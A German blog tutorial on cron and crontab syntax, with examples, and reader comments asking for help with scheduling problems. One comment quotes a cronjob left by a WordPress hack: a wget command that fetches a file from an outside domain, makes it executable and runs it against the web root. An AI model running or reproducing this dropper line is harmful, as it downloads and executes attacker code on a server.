Mit Hilfe von Cronjobs können auf Unix- und Linux-Systemen Vorgänge automatisert und zu einem bestimmten Zeitpunkt immer wiederkehrend ausgeführt werden. Diese Vorgänge können einzelne Befehle, Shell-Scripts, Programme, PHP- und sonstige Scriptsprachen-Scripts oder auch eine Anreihung von Linux-Befehlen sein. Beispielsweisse werden Backups, die wöchentlich, täglich oder stündlich geschehen sollen meist per Cronjob ausgeführt.
Crontab wird die Tabelle genannt, in der die einzelnen Cronjobs definiert und konfiguriert werden. Die Tabelle enthält pro Zeile den Zeitpunkt und die Befehlsfolge, die ausgeführt werden soll. Der Begriff Crontab setzt sich aus dem griechischen Chronos (Zeit) und lateinischen Tabula (die Tafel, das Brett) zusammen.
Gleichzeitig ist crontab auch das Programm, mit dessen Hilfe man die Crontabs bearbeiten kann. Um die Contab zu bearbeiten, muß folgender Befehl eingegeben werden:
crontab -e
Jeder Cronjob hat folgendes Format:
* * * * * auszuführender Befehl
┬ ┬ ┬ ┬ ┬
│ │ │ │ │
│ │ │ │ └──── Wochentag (0-7, Sonntag ist 0 oder 7)
│ │ │ └────── Monat (1-12)
│ │ └──────── Tag (1-31)
│ └────────── Stunde (0-23)
└──────────── Minute (0-59)
Ein Stern * bedeutet Ausführung wird immer erfolgen, also zu jeder Minute, jeder Stunde, jedem Tag, jedem Monat oder jedem Wochentag. Um die einzelnen Stellen auseinander zu halten, hilft folgendes Diagram:
1 2 3 4 5 Befehl
1 = Minute (0-59)
2 = Stunde (0-23)
3 = Tag (0-31)
4 = Monat (1-12)
5 = Wochentag (0-7, Sonntag ist 0 oder 7)
Befehl = Der auszuführende Befehl.
Für die ersten fünf Stellen, also die Zeiwerte sind folgende Optionen zusätzlich möglich:
* = Ausführung immer (zu jeder…)
*/n = Ausführung aller n
n,x,y = Ausführung um/am n, x und y
Um zum Beispiel jede Nacht um 5 Uhr morgens das Backup auszuführen, würde man den Cronjob folgendermaßen anlegen:
0 5 * * * /usr/bin/backup.sh
Einen Sound alle 10 Minuten Abzuspielen könnte wie folgt aussehen:
*/10 * * * * /usr/bin/play_sound.sh
Eine Erinnerungsmail um 8 und um 17 Uhr zu verschicken geht z.B. so:
0 8,17 * * * /usr/bin/send_reminder_mail.sh
An einem bestimmten Tag, beispielsweisse am 31.12. um 23:59 Uhr, eine Mail zu versenden, könnte so aussehen:
59 23 31 12 * (echo "Lass uns die Raketen holen" | mail -s "Gleich knallt es" user@domain.xy)
Die Ausgabe der Cronjobs wird standardmässig per Mail an den jeweiligen System-User der den Cronjob eingerichtet hat gesendet. Um dies zu unterdrücken, könnte man die Ausgabe in eine Datei umleiten oder mit Umleitung zu /dev/null komplett verwerfen:
Cronjob-Ausgabe in Logfile umleiten
0 8,17 * * * /usr/bin/script.sh >>/var/log/cron/send_reminder_mail 2>&1
Cronjob-Ausgabe verwerfen
0 8,17 * * * /usr/bin/script.sh >/dev/null 2>&1
2>&1 bedeutet, das sowohl die normale Ausgabe als auch Fehler in die vorher angegebene Datei umgeleitet werden.
Zusätzlich zum crontab-Befehl gibt es je nach Distribution Dateien, die systemweite Crontabs beinhalten und nur durch den User root bearbeitet werden können:
/etc/crontab
Die System-Crontab-Datei, in der zusätzlich noch ein System-Benutzer, der den Befehl ausführen soll, mit angegeben werden muß:
1 2 3 4 5 Benutzer Befehl
1 = Minute (0-59)
2 = Stunde (0-23)
3 = Tag (0-31)
4 = Monat (1-12)
5 = Wochentag (0-7, Sonntag ist 0 oder 7)
Benutzer = Benutzername des Benutzers, unter dem der Befehl ausgeführt wird.
Befehl = Der auszuführende Befehl.
Beispiel:
0 8,17 * * * root /usr/bin/script.sh >>/var/log/cron/send_reminder_mail 2>&1
0 3 * * * wwwrun /usr/bin/webjobs_nighly.sh >>/var/log/cron/send_reminder_mail 2>&1
/etc/cron* Verzeichnisse
Eine weitere Möglichkeit Cronjobs anzulegen sind die Verzeichnisse unter /etc/cron*, in denen alle enthaltenen Dateien zum bestimmten Zeitpunkt ausgeführt werden. Die Dateien im Einzelnen
/etc/cron.d/ = Erweiterungen zur /etc/crontab-Datei, gleiche Syntax.
/etc/cron.daily/ = Einmal irgendwann täglich.
/etc/cron.hourly/ = Einmal irgendwann stündlich.
/etc/cron.monthly/ = Einmal irgendwann monatlich.
/etc/cron.weekly/ = Einmal irgendwann wöchentlich.
Die letzten vier werden oft genutzt, wenn ein Job in einem bestimmten Interval erledigt werden muß, der genaue Zeitpunkt hierfür aber unerheblich ist.
Manchmal kommt es vor, dass man – beispielsweisse bei der Verwendung eines Datums – das Prozentzeichen innerhalb eines Crontab-Befehles nutzen möchte:
0 8,17 * * * /usr/bin/script.sh >>/var/log/cron/script_$(date +%Y%m%d).log
Leider wird dies so nicht funktionieren und Crontab verweigert die Ausführung des Cronjobs mit der folgenden oder einer ähnlichen Fehlermeldung:
/bin/sh: -c: line 0: unexpected EOF while looking for matching `)'
/bin/sh: -c: line 1: syntax error: unexpected end of file
Grund hierfür ist, dass Prozentzeichen im 6. Feld einer jeden Crontab-Zeile generell in einen Zeilenumbruch übersetzt werden. Zitat aus der Crontab Manpage:
The sixth field of a line in a crontab file is a string that
is executed by the shell at the specified times. A percent
character in this field (unless escaped by \) is translated
to a NEWLINE character.Only the first line (up to a `%‘ or end of line) of the com-
mand field is executed by the shell. Other lines are made
available to the command as standard input. Any blank line
or line beginning with a `#‘ is a comment and is ignored.
Die Lösung ist, das Prozenzeichen zu escapen, daher einen Backslash voran zu stellen:
0 8,17 * * * /usr/bin/script.sh >>/var/log/cron/script_$(date +\%Y\%m\%d).log
So steht dann auch der Nutzung des Datums mit Prozentzeichen nichts mehr im Wege.
Ich hoffe, ich konnte einen kleinen Einblick in die Cronjobs unter Linux geben und dem ein oder anderen bei der Syntax behilflich sein. Dieser Artikel entsteht auch mit etwas Eigennutz, da ich auch oft überlegen muß, wie die genaue Reihenfolge in der Crontab nun ist. Es gibt natürlich noch eine Menge anderer Tools wie at, anacron, fcron und so weiter. Cronjob hat für mich jedoch sehr zuverlässig gearbeitet, weshalb ich andere Tools noch nicht in Betracht gezogen habe.
Let the crons work!
Max Müller
besten Dank für diese Ausführungen, aber ich kämpfe mit einem Problem, das sich nicht aus der Welt schaffen will.
- anhand einem Beispiel, minütlich einen Zeitstempel in eine Script.Log-Datei mittels Crontab schreiben funktioniert einwandfrei!
eigentlich wäre so alles klar!?
Nein, denn ich möchte an einem RPi +3B mit Touchscreen nachts die Hintergrundbeleuchtung ausschalten und am Morgen wieder einschalten ( Script für OFF #!/bin/sh rpi-backlight -b 5 // für ON #!/bin/sh rpi-backlight -b 70) diese beiden Script ausführen via CMD -Zeile geht einwandfrei!
lediglich mittels Crontab nicht (0 23 * * * ~/disp_dark.sh) bzw (30 6 * * * ~/disp_normal.sh) - es erfolgt der Eintrag in der syslog:
Dec 27 23:00:01 raspi03 CRON[25427]: (pi) CMD (~/disp_dark.sh)
Dec 27 23:00:01 raspi03 CRON[25426]: (CRON) info (No MTA installed, discarding output)
Dec 28 06:00:01 raspi03 CRON[4206]: (pi) CMD (~/disp_normal.sh)
Dec 28 06:00:01 raspi03 CRON[4205]: (CRON) info (No MTA installed, discarding output)
egal wie ich es anstelle, ob unter pi pi oder root root für Script oder Crontab, es kommt immer aufs selbe heraus
pi@raspi03:~ $ ls -als *sh
4 -rwxr-xr-x 1 root root 116 Dec 21 14:52 chromium_start.sh
4 -rwxr-xr-x 1 pi pi 31 Dec 27 11:16 disp_dark.sh
4 -rwxr-xr-x 1 pi pi 32 Dec 27 11:18 disp_normal.sh
4 -rwxr-xr-x 1 root root 31 Dec 28 11:20 my_dispOFF.sh
4 -rwxr-xr-x 1 pi pi 30 Dec 26 17:10 my_script.sh
ich weiss hier nicht mehr weiter
Gruss Max
spicer
Für rpi-backlight zBsp /usr/bin/rpi-backlight (suche, wo rpi-backlight liegt).
Auch bei den Scripts disp_dark.sh bzw disp_normal.sh absolute Pfade verwenden.
Max
Robert Hanisch
spicer
Nico
spicer
* * * * * sleep 30; Befehl
In diesem Beispiel wird der Befehl immer bei Sekunde 30 der Minute ausgeführt.
spicer
Anstelle von
* * * * * * Befehl
kann auch
@reboot Befehl
verwendet werden. Wie das offensichtlich aussagt, wird der Befehl so gleich nach dem Booten ausgeführt.
Jens Mania
sehr tolle Anleitung.
Gruß
Jens
Jürgen
dieser Eintrag war in Google auf Seite eins für Cronjob Syntaxt. Bravo!
Ich habe gehofft diesen Cronjob der bei einem Wordpress hack niterlassen wurde zu entziffern.
Nach der Bereinigung hat der Job immer wieder eine leere Datei "xxxd" ohne Dateiendung im root angelegt.
wget -q -O xxxd http://hello.hellodolly777.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /usr/www/users/public_html 24 && rm -f xxxd*
jens ruppmann
ich habe in der cronjobdatei das Laden des firewall.sh-scripts und das Staren des CUPS bei Systemstart erfolgreich eingesetzt.
Meine Frage an euch/dich ist, wie kann ich auf diese Weise die Bildschirmhelligkeit auf 30 % setzen, da dies für mich völlig ausreichend ist.
Wenn es einen anderen Weg gibt, dies ab Startup zu realisieren, wäre ich auch zufrieden.
Vielen Dank!
Moritz
Martin
Kiumars
spicer
Georg
Hab schon vor längerem danach alles eingerichtet und klappt bestens.
Nun sehe ich mir immer wieder mal die erstellte Log Datei der ausgeführten CronJobs an.
Gibt es dafür eine Möglichkeit, das auch im Log zu ersehen ist, wie lange der CronJob gelaufen ist?
Das wäre teilweise für mich extrem hilfreich.
LG
SaM
z.B. am 01.01.2025 um 23:59:59
Bill
tom
haste toll gemacht
reinhard
Frank
Ralf Magin
Nico
0 8,17 * * * echo -n $(date) " " && /usr/bin/script.sh >>/var/log/cron/send_reminder_mail 2>&1
Mit && kannst du mehrere Shell-Kommandos verbinden. Die nachfolgenden werden aber Immer nur ausgeführt, wenn der vorhergehende erfolgreich war. Sollte bei date aber gegeben sein ;-)
Denis
Ulrich Eckardt
vielen Dank. Es hat mir heute geholfen den Cache für mein WordPress automatisch erstellen zu lassen.
Grüße aus München
Uli
Philipp
matt
Also wenn ich das richtig verstanden habe, so:
*/1 18.5,19.5 * 3,6 * *
moritz
der Artikel ist super!
Alles perfekt erklärt und auf den Punkt gebracht!
Mach weiter so!
Moritz
Sebastian
Stefan
ben
10 */2 * * *
immer um 10 nach und 40 nach oder wie?
also jede halbe stunde + 10 min?
Jimmy The Exploder
> 10 */2 * * *
Es bedeutet immer zur Minute 10 (also um "10 nach"), aber nicht in jeder Stunde, sondern bloß alle 2 Stunden.
Ralph
x421
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Sandro
Matthias
Manu
Michael
H.P.Abele
versuche vergeblich einen von der Konsole fehlerfrei durchgeführten Befehl per crontab zu starten :
/usr/share/playonlinux/playonlinux --run "Microsoft Excel 2010" /home/fhemlog/Hauslog/auto_open.xlsm
Was müsste hier angepasst werden ? Mit Crontabs an sich komme ich schon klar, aber warum es von der Konsole funktioniert und nicht per crontab (mit oder ohne sudo) kapiere ich nicht.
Gruß Peter
Was denkst du?